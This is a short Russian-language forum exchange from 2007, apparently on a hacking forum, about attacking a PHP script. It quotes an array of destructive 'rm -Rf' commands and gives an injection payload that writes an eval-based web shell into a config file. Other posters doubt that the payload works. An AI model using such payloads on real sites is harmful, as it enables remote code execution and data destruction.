09.11.2007, 11:08
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520
Репутация:
2996
|
|
В cmd.php и есть масив с командами.
PHP код:
<?
$CMD[] = 'rm -Rf ./core';
$CMD[] = 'rm -Rf ./data';
$CMD[] = 'rm -Rf ./themes';
$CMD[] = 'rm -Rf ./thumbs';
$CMD[] = 'rm -Rf ./temp';
$CMD[] = 'rm -Rf ./var';
?>
C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся
Да токо пишеться inc файл...
Тоесть как я понял внедрить в массив CMD свою команду не реально?
И сам конфиг не куда не инклудиться... он всего лишь остаток скрипта который забыли удалить...
Последний раз редактировалось [ cash ]; 09.11.2007 в 11:13..
|
|
|